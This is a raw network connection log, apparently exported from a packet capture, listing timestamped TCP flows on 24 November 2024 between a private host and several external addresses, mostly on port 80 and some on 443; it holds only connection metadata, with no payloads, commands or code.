Nov 24, 2024 19:11:50.929316044 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.929358959 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.929379940 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.929694891 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.929779053 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.929831028 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.930433989 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.930493116 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.930556059 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.930644989 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.931365967 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.931375980 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.931432962 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.931865931 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.931885958 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.931911945 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.931927919 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.932869911 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.932936907 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.932938099 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.932984114 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.933746099 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.933948994 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.933964014 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.934004068 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.934673071 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.934715986 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.934778929 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.934824944 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.935636044 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.935683966 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.935688972 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.935728073 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.936553001 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.936608076 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.936667919 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.936707020 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.937510967 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.937566042 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.937570095 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.937613964 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.938414097 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.938473940 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.938575983 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.938617945 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.939419985 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.939480066 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.939486027 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.939523935 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.940334082 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.940359116 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.940399885 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.940423012 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.941351891 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.941364050 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.941421986 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.942173958 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.942327023 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.942379951 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.943140030 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.943228006 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.943274021 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.944159985 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.944192886 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.944210052 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.944228888 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.945055962 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.945103884 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.945187092 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.945235014 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.945954084 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.946006060 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.946053028 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.946099997 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.946969986 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.947047949 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.947071075 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.947113037 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.948129892 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.948187113 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.948200941 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.948237896 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.949073076 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.949139118 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.949170113 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.949170113 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.949702978 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.949754000 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.949800014 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.950678110 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.950691938 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.950722933 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.950736046 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.951594114 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.951642990 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.951721907 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.951833963 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.952541113 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.952600002 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.952620029 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.952863932 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.953506947 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.953566074 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.953613997 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.953737974 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.954386950 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.954447985 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.954454899 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.954546928 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.955351114 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.955416918 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.955466986 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.955508947 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.956427097 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.956439018 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.956487894 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.957309961 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.957380056 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.957387924 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.957439899 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.958226919 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.958272934 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.958273888 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.958369017 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.959228992 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.959270954 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.959286928 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.959400892 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.967717886 CET	49796	443	192.168.2.8	23.219.82.88
Nov 24, 2024 19:11:50.967726946 CET	49795	443	192.168.2.8	23.44.133.31
Nov 24, 2024 19:11:50.967726946 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:50.967739105 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:50.977822065 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:50.978157043 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:50.978174925 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:50.979151964 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:50.979209900 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:50.980703115 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:50.980768919 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:50.981300116 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:50.981308937 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:50.993645906 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:50.993972063 CET	49793	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:50.993982077 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:50.994980097 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:50.995038986 CET	49793	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:50.995558977 CET	49793	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:50.995613098 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:50.995754004 CET	49793	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:50.995759010 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:50.998214006 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.998248100 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.998302937 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.998656034 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.998723984 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.998725891 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.998766899 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.999612093 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.999663115 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:50.999758005 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:50.999799967 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.000545025 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.000586987 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.000631094 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.000672102 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.004184961 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.004204035 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.004215956 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.004225969 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.004230976 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.004251957 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.004260063 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.004264116 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.004297018 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.004784107 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.005045891 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.005095005 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.005985975 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.006037951 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.006129980 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.006263018 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.006818056 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.006865978 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.006956100 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.006994963 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.052733898 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.052836895 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.052911997 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.053065062 CET	49800	443	192.168.2.8	23.57.90.157
Nov 24, 2024 19:11:51.054389954 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.054428101 CET	49799	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.054441929 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.056216955 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.056241989 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.056256056 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.056267977 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.056277990 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.056292057 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.056305885 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.056317091 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.056324005 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.056345940 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.056374073 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.057506084 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.057518005 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.057566881 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.058217049 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.058392048 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.058444023 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.059154034 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.059317112 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.059374094 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.059694052 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.059705973 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.059762955 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.060437918 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.060516119 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.060533047 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.060575008 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.061851025 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.061904907 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.076258898 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:51.076258898 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.076261044 CET	49793	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.081176043 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.081213951 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.081222057 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.081253052 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.081263065 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.081274986 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.081293106 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.081304073 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.081335068 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.081357956 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.081557989 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.081585884 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.081594944 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.081620932 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.081629992 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.081631899 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.081646919 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.081666946 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.081684113 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.081713915 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.103471041 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.103497028 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.103506088 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.103523970 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.103538036 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.103540897 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.103607893 CET	49792	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.103635073 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.103648901 CET	49792	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.103683949 CET	49792	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.107495070 CET	443	49801	18.160.60.23	192.168.2.8
Nov 24, 2024 19:11:51.110171080 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.110194921 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.110204935 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.110234976 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.110243082 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.110245943 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.110285044 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.110305071 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.110322952 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.110351086 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.121882915 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.121936083 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.122020960 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.122057915 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.122298956 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.122344971 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.122459888 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.122500896 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.123107910 CET	49801	443	192.168.2.8	18.160.60.23
Nov 24, 2024 19:11:51.123121023 CET	443	49801	18.160.60.23	192.168.2.8
Nov 24, 2024 19:11:51.123405933 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.123419046 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.123470068 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.124150991 CET	443	49801	18.160.60.23	192.168.2.8
Nov 24, 2024 19:11:51.124242067 CET	49801	443	192.168.2.8	18.160.60.23
Nov 24, 2024 19:11:51.124332905 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.124376059 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.124646902 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.124659061 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.124687910 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.124699116 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.125516891 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.125668049 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.125691891 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.125715971 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.126125097 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.126174927 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.126251936 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.126315117 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.127206087 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.127218962 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.127268076 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.128089905 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.128101110 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.128129005 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.128144026 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.128653049 CET	443	49797	20.110.205.119	192.168.2.8
Nov 24, 2024 19:11:51.129311085 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.129323959 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.129364967 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.129384041 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.130007029 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.130059958 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.130134106 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.130177975 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.131031036 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.131042957 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.131088018 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.131099939 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.131936073 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.132059097 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.132117987 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.132807970 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.132924080 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.133003950 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.133852959 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.133913040 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.133965015 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.134169102 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.134845972 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.134979963 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.135036945 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.135716915 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.135727882 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.135768890 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.136006117 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.136048079 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.136101961 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.136398077 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.136871099 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.136933088 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.137025118 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.137064934 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.138613939 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.138650894 CET	80	49750	185.215.113.206	192.168.2.8
